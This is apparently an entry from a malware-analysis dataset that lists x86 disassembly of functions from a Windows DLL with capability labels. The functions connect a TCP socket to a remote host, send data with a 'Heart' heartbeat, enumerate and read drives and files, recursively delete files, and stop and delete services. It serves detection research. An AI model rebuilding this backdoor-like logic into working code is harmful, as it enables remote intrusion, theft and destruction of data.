joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004dd8
Capabilities:
Initialize winsock library

Disassembly:
mov eax, 0x10014f34
call fcn.100149e4
sub esp, 0x19c
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x18], esi
lea ecx, [esi + 4]
call fcn.10004ac0
xor ebx, ebx
lea ecx, [esi + 0x2c]
mov dword [ebp - 4], ebx
call fcn.10004ac0
lea ecx, [esi + 0x54]
mov byte [ebp - 4], 1
call fcn.10004ac0
lea ecx, [esi + 0x7c]
mov byte [ebp - 4], 2
call fcn.10004ac0
push 0x1000147c
push 0x1000146c
mov byte [ebp - 4], 3
mov dword [esi], 0x10003c60
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [ebp - 0x1a8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push ebx
push ebx
push 1
push ebx
call edi
or dword [esi + 0xa8], 0xffffffff
mov dword [esi + 0xac], eax
lea eax, [ebp - 0x14]
push 5
push eax
lea eax, [esi + 0xb0]
push eax
mov byte [esi + 0xb5], bl
mov byte [ebp - 0x14], 0x48
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x61
mov byte [ebp - 0x11], 0x72
mov byte [ebp - 0x10], 0x74
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp - 0xc]
add esp, 0xc
mov eax, esi
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10004fa5
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
mov edi, dword [sym.imp.MSVCRT.dll__strnset]
push 1
push 0x52
mov esi, ecx
push 0x100014c4
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 0xc
push eax
push 0x1000146c
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
push 0x57
push 0x100014b8
mov dword [ebp - 8], eax
call edi
add esp, 0xc
push eax
push 0x100014ac
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, esi
mov dword [ebp - 0xc], eax
call fcn.10005737
push dword [esi + 0xac]
call dword [ebp - 8]
xor ebx, ebx
mov byte [esi + 0xb5], bl
mov eax, dword [0x10015a30]
cmp eax, ebx
je 0x1000502b
cmp eax, 4
je 0x1000502b
cmp eax, 5
jne 0x100050bf
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0xa8], eax
je 0x100050bf
cmp dword [0x10015a30], ebx
je 0x10005051
push 0x10015a34
jmp 0x10005054
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
cmp edi, ebx
je 0x100050bf
cmp dword [0x10015a30], ebx
mov word [ebp - 0x28], 2
je 0x10005077
mov ax, word [0x10001450]
push eax
jmp 0x1000507a
push dword [ebp + 0xc]
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x26], ax
mov eax, dword [edi + 0xc]
push 0x10
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x28]
push eax
push dword [esi + 0xa8]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x100050bf
cmp dword [0x10015a30], 5
jne 0x100050c3
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call fcn.1000513e
test al, al
jne 0x100050c3
xor al, al
jmp 0x10005137
push 1
lea eax, [ebp - 1]
pop edi
mov byte [ebp - 1], 1
push edi
push eax
push 8
push 0xffff
push dword [esi + 0xa8]
call fcn.10004d88
add esp, 0x14
test eax, eax
jne 0x10005115
push ebx
lea eax, [ebp - 1]
push ebx
push eax
push ebx
push ebx
lea eax, [ebp - 0x18]
push 0xc
push eax
push 0x98000004
push dword [esi + 0xa8]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], 0x1770
mov dword [ebp - 0x10], 0x3e8
call dword [ebp - 0xc]
push edi
push ebx
push ebx
push esi
push 0x10005446
push ebx
push ebx
mov byte [esi + 0xb5], 1
call fcn.1000e62b
mov dword [esi + 0xa4], eax
add esp, 0x1c
mov al, 1
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x100058e7
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 1
push 0x53
mov ebx, ecx
push 0x100014e8
call dword [sym.imp.MSVCRT.dll__strnset]
add esp, 0xc
push eax
push 0x1000146c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
and dword [ebp - 4], 0
mov esi, dword [ebp + 8]
mov edi, dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
cmp eax, dword [ebp + 0x10]
mov dword [ebp + 8], eax
jb 0x1000597d
and dword [ebp - 8], 0
push 0
push dword [ebp + 0x10]
push esi
push dword [ebx + 0xa8]
call edi
test eax, eax
jg 0x10005951
inc dword [ebp - 8]
cmp dword [ebp - 8], 0xf
jl 0x10005936
cmp dword [ebp - 8], 0xf
je 0x100059b3
add dword [ebp - 4], eax
add esi, dword [ebp + 0x10]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0xa
call dword [ebp - 0xc]
mov eax, dword [ebp + 0x10]
sub dword [ebp + 8], eax
cmp dword [ebp + 8], eax
jae 0x10005932
cmp dword [ebp + 8], 0
jle 0x100059ab
and dword [ebp + 0x10], 0
push 0
push dword [ebp + 8]
push esi
push dword [ebx + 0xa8]
call edi
test eax, eax
jg 0x100059a2
inc dword [ebp + 0x10]
cmp dword [ebp + 0x10], 0xf
jl 0x10005987
cmp dword [ebp + 0x10], 0xf
je 0x100059b3
add dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0xc]
je 0x100059b6
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x10005cde
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10003c80
push 0x10014a5e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push 0x10001544
push 0x10001538
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28], eax
and dword [ebp - 4], 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x10005e33
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x10005d9a
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x10005d9a
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10005d78
cmp al, 0x5c
je 0x10005d78
push esi
call dword [ebp - 0x28]
mov esi, eax
jmp 0x10005d63
cmp byte [esi], 0
je 0x10005d81
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10005d93
cmp al, 0x5c
je 0x10005d93
push esi
call dword [ebp - 0x28]
mov esi, eax
jmp 0x10005d7e
cmp byte [esi], 0
je 0x10005db9
jmp 0x10005db5
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x10005db9
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10005db9
cmp al, 0x5c
jne 0x10005db9
inc esi
mov dword [ebp - 0x1c], esi
or ebx, 0xffffffff
mov al, byte [esi]
test al, al
je 0x10005e13
cmp al, 0x5c
jne 0x10005e08
and byte [esi], 0
push edi
call fcn.10005af1
pop ecx
mov dword [ebp - 0x20], eax
cmp eax, ebx
jne 0x10005df1
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x10005e05
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jmp 0x10005df6
and eax, 0x10
cmp al, 0x10
je 0x10005e05
push edi
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
mov dword [ebp - 4], ebx
jmp 0x10005e37
mov byte [esi], 0x5c
push esi
call dword [ebp - 0x28]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x10005dbc
mov dword [ebp - 4], ebx
push edi
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
mov al, 1
jmp 0x10005e39
or dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x10005e4a
Capabilities:
Get disk information
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x790
push ebx
push esi
push edi
push 1
push 0x47
mov dword [ebp - 0x24], ecx
push 0x1000158c
call dword [sym.imp.MSVCRT.dll__strnset]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 0xc
mov ebx, 0x1000146c
push eax
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 1
push 0x47
push 0x10001574
mov dword [ebp - 0x2c], eax
call dword [sym.imp.MSVCRT.dll__strnset]
add esp, 0xc
push eax
push ebx
call esi
push eax
call edi
push 0x1000155c
push ebx
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x10001550
push ebx
mov dword [ebp - 0x28], eax
call esi
push eax
call edi
lea eax, [ebp - 0x230]
mov byte [ebp - 0x790], 0x67
push eax
push pe_nt_image_headers32
call dword [ebp - 4]
xor ebx, ebx
push 1
cmp byte [ebp - 0x230], bl
lea esi, [ebp - 0x230]
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
pop edi
je 0x1000603c
push 0x104
lea eax, [ebp - 0x130]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x130]
push 0x104
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
call dword [ebp - 0x28]
push 0x410
lea eax, [ebp - 0x390]
push 0x160
push eax
push 0x80
push esi
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
lea eax, [ebp - 0x280]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
mov dword [ebp - 4], eax
mov al, byte [esi]
cmp al, 0x41
je 0x10005fa2
cmp al, 0x42
je 0x10005fa2
lea eax, [ebp - 0x20]
push ebx
push eax
lea eax, [ebp - 0x18]
push eax
push esi
call dword [ebp - 0x2c]
test eax, eax
je 0x10005fa2
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
push 0x14
pop ecx
call fcn.10014a70
mov edx, dword [ebp - 0x14]
push 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
pop ecx
call fcn.10014a70
mov dword [ebp - 0xc], eax
jmp 0x10005fa8
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
mov al, byte [esi]
push esi
mov byte [ebp + edi - 0x790], al
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov byte [ebp + edi - 0x78f], al
lea eax, [ebp - 0x10]
push 4
push eax
lea eax, [ebp + edi - 0x78e]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0xc]
push 4
push eax
lea eax, [ebp + edi - 0x78a]
push eax
call sub.MSVCRT.dll_memcpy
push dword [ebp - 8]
lea eax, [ebp - 0x280]
push eax
lea eax, [ebp + edi - 0x786]
push eax
call sub.MSVCRT.dll_memcpy
push dword [ebp - 4]
lea eax, [ebp - 0x130]
push eax
mov eax, dword [ebp - 8]
add eax, edi
lea eax, [ebp + eax - 0x786]
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
add esp, 0x30
add eax, ecx
push esi
lea edi, [edi + eax + 0xa]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [esi + eax + 1], bl
lea esi, [esi + eax + 1]
jne 0x10005efa
mov ecx, dword [ebp - 0x24]
lea eax, [ebp - 0x790]
push edi
push eax
call fcn.1000ab79
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000608a
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
push ebx
push esi
push edi
mov edi, 0x100015b8
mov dword [ebp - 8], ecx
push edi
call sub.MSVCRT.dll_strlen
mov esi, 0x100015b4
mov ebx, eax
push esi
call sub.MSVCRT.dll_strlen
lea eax, [ebx + eax + 1]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, eax
push esi
push ebx
call sub.MSVCRT.dll_strcpy
push edi
push ebx
call sub.MSVCRT.dll_strcat
mov esi, dword [ebp - 8]
add esp, 0x1c
mov eax, 0x2800
and dword [esi + 0x1c], 0
push eax
push 0x40
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push dword [ebp + 8]
mov edi, eax
lea eax, [ebp - 0x24c]
push ebx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x1000612e
lea eax, [ebp + 0xb]
push 1
push eax
mov ecx, esi
mov byte [ebp + 0xb], 0x68
call fcn.1000ab79
jmp 0x1000622f
push 1
mov byte [edi], 0x68
pop esi
mov eax, dword [ebp - 4]
add eax, 0xfffffdf8
cmp esi, eax
jbe 0x10006155
add dword [ebp - 4], 0x208
push 0x42
push dword [ebp - 4]
push edi
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov edi, eax
lea eax, [ebp - 0x11c]
push 0x100015b0
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x100061f9
lea eax, [ebp - 0x11c]
push 0x100015ac
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x100061f9
mov al, byte [ebp - 0x148]
and al, 0x10
mov byte [esi + edi], al
lea eax, [ebp - 0x11c]
push eax
inc esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
lea eax, [ebp - 0x11c]
push ebx
push eax
lea eax, [esi + edi]
push eax
call sub.MSVCRT.dll_memcpy
add esi, ebx
lea eax, [ebp - 0x12c]
push 4
push eax
and byte [esi + edi], 0
inc esi
lea ebx, [esi + edi]
push ebx
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x128]
push 4
add ebx, 4
push eax
push ebx
call sub.MSVCRT.dll_memcpy
add esi, 8
lea eax, [ebp - 0x134]
push 8
push eax
lea eax, [esi + edi]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x30
add esi, 8
lea eax, [ebp - 0x148]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10006134
mov ecx, dword [ebp - 8]
push esi
push edi
call fcn.1000ab79
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x1000643b
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x450
push ebx
push esi
push edi
mov edi, 0x100015b8
mov dword [ebp - 4], ecx
push edi
call sub.MSVCRT.dll_strlen
mov esi, 0x100015b4
mov ebx, eax
push esi
call sub.MSVCRT.dll_strlen
lea eax, [ebx + eax + 1]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, eax
push esi
push ebx
call sub.MSVCRT.dll_strcpy
push edi
push ebx
call sub.MSVCRT.dll_strcat
push dword [ebp + 8]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x450]
push ebx
push eax
call esi
add esp, 0x28
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x450]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x100064b1
xor al, al
jmp 0x10006530
mov edi, 0x100014f0
cmp byte [ebp - 0x118], 0x2e
je 0x10006509
test byte [ebp - 0x144], 0x10
lea eax, [ebp - 0x118]
push eax
push dword [ebp + 8]
push edi
je 0x100064f0
lea eax, [ebp - 0x248]
push eax
call esi
mov ecx, dword [ebp - 4]
add esp, 0x10
lea eax, [ebp - 0x248]
push eax
call fcn.1000643b
jmp 0x10006509
lea eax, [ebp - 0x34c]
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x34c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x144]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x100064b6
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
setne al
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x10006537
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
xor edi, edi
lea esi, [ecx + 0x20]
push 0x104
push edi
push esi
mov dword [ebp - 0xc], ecx
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
push esi
call sub.MSVCRT.dll_strcpy
add esp, 0x14
push edi
push 0x80
push 3
push edi
push 1
push closesocket
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10006583
xor eax, eax
jmp 0x100065fb
lea eax, [ebp - 4]
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 8]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
call ebx
mov edi, eax
add edi, 0xa
push edi
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
mov byte [esi], 0x69
mov eax, dword [ebp - 4]
add esp, 0xc
mov dword [esi + 1], eax
mov eax, dword [ebp - 8]
push dword [ebp + 8]
mov dword [esi + 5], eax
call ebx
inc eax
push eax
lea eax, [esi + 9]
push dword [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp - 0xc]
add esp, 0xc
push edi
push esi
call fcn.1000ab79
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop ebx
pop edi
pop esi
leave
ret 4
Function at 0x10006601
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], ecx
cmp dword [edi + 4], 0xffffffff
jne 0x10006620
call fcn.100066c4
xor eax, eax
jmp 0x100066bd
xor esi, esi
add ecx, 0x20
push esi
push 0x80
push 3
push esi
push 1
push closesocket
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
or eax, 0xffffffff
cmp ebx, eax
je 0x100066bd
push esi
push edi
push dword [edi + 4]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x2000
push 0x40
mov dword [ebp + 8], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
push 8
push edi
lea eax, [esi + 1]
mov byte [esi], 0x6a
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp + 8]
push 0
push eax
lea eax, [esi + 9]
push 0x1ff7
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 8]
test eax, eax
jbe 0x100066ab
mov ecx, dword [ebp - 4]
add eax, 9
push eax
push esi
call fcn.1000ab79
mov dword [ebp - 4], eax
jmp 0x100066b3
mov ecx, dword [ebp - 4]
call fcn.100066c4
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x100067c4
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov eax, 0x10014fe1
call fcn.100149e4
sub esp, 0x468
push ebx
push esi
push 0x104
lea eax, [ebp - 0x26c]
push 0
mov ebx, ecx
push eax
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [eax + esi - 1], 0x5c
mov dword [ebp - 0x10], 0x1000161c
jne 0x1000680d
mov dword [ebp - 0x10], 0x10015d34
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push dword [ebp - 0x10]
lea eax, [ebp - 0x26c]
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push 0x10001614
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x26c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x14], eax
jne 0x1000685a
xor al, al
jmp 0x10006943
push edi
mov edi, 0x1000160c
cmp byte [ebp - 0x13c], 0x2e
je 0x1000691f
test byte [ebp - 0x168], 0x10
je 0x100068af
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x13c]
push eax
lea eax, [ebp - 0x370]
push dword [ebp - 0x10]
push dword [ebp + 8]
push edi
push eax
call esi
add esp, 0x14
lea eax, [ebp - 0x370]
mov ecx, ebx
push eax
call fcn.100067c4
jmp 0x1000691f
lea eax, [ebp - 0x13c]
push eax
lea eax, [ebp - 0x474]
push dword [ebp - 0x10]
push dword [ebp + 8]
push edi
push eax
call esi
mov al, byte [ebp + 0xb]
add esp, 0x14
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x24], al
push 0
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
lea eax, [ebp - 0x474]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x474]
push eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
mov eax, dword [ebx + 0x14]
lea ecx, [ebx + 0x10]
and dword [ebp - 4], 0
lea edx, [ebp - 0x24]
push edx
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.10006d3f
or dword [ebp - 4], 0xffffffff
push 1
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
lea eax, [ebp - 0x168]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10006860
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, 1
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
Function at 0x10006b3d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
mov eax, dword [esi]
mov dword [ebp - 4], eax
mov eax, dword [esi + 4]
mov dword [ebp + 8], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0
push 0x80
push 3
push 0
push 2
lea eax, [edi + 0x20]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 8]
push 0
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff8
add esi, 8
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 8]
push 4
add dword [ebp + 8], eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x13]
push eax
mov byte [ebp - 0x14], 0x70
call sub.MSVCRT.dll_memcpy
lea eax, [ebp + 8]
push 4
push eax
lea eax, [ebp - 0xf]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x18
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x14]
push 9
push eax
mov ecx, edi
call fcn.1000ab79
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x10006eaa
Capabilities:
Delete registry key
Delete service
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10003c90
push 0x10014a5e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x930
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x540], edi
mov dword [ebp - 0x13c], edi
mov dword [ebp - 4], edi
push 0xf003f
push edi
push edi
call dword [0x10015d38]
mov dword [ebp - 0x13c], eax
push 0xf01ff
push dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
mov dword [ebp - 0x540], esi
cmp dword [ebp - 0x13c], edi
jne 0x10006f1b
cmp esi, edi
je 0x10006fca
lea eax, [ebp - 0x138]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x10006fca
cmp dword [ebp - 0x134], 1
je 0x10006f59
lea eax, [ebp - 0x138]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x10006fca
push 0x320
call dword [0x10015d3c]
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push 0x400
push edi
lea eax, [ebp - 0x53c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10001680
lea eax, [ebp - 0x940]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x1000165c
lea eax, [ebp - 0x940]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push dword [ebp + 8]
lea eax, [ebp - 0x940]
push eax
push 0x10001654
lea eax, [ebp - 0x53c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x53c]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
or dword [ebp - 4], 0xffffffff
call fcn.10006fea
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret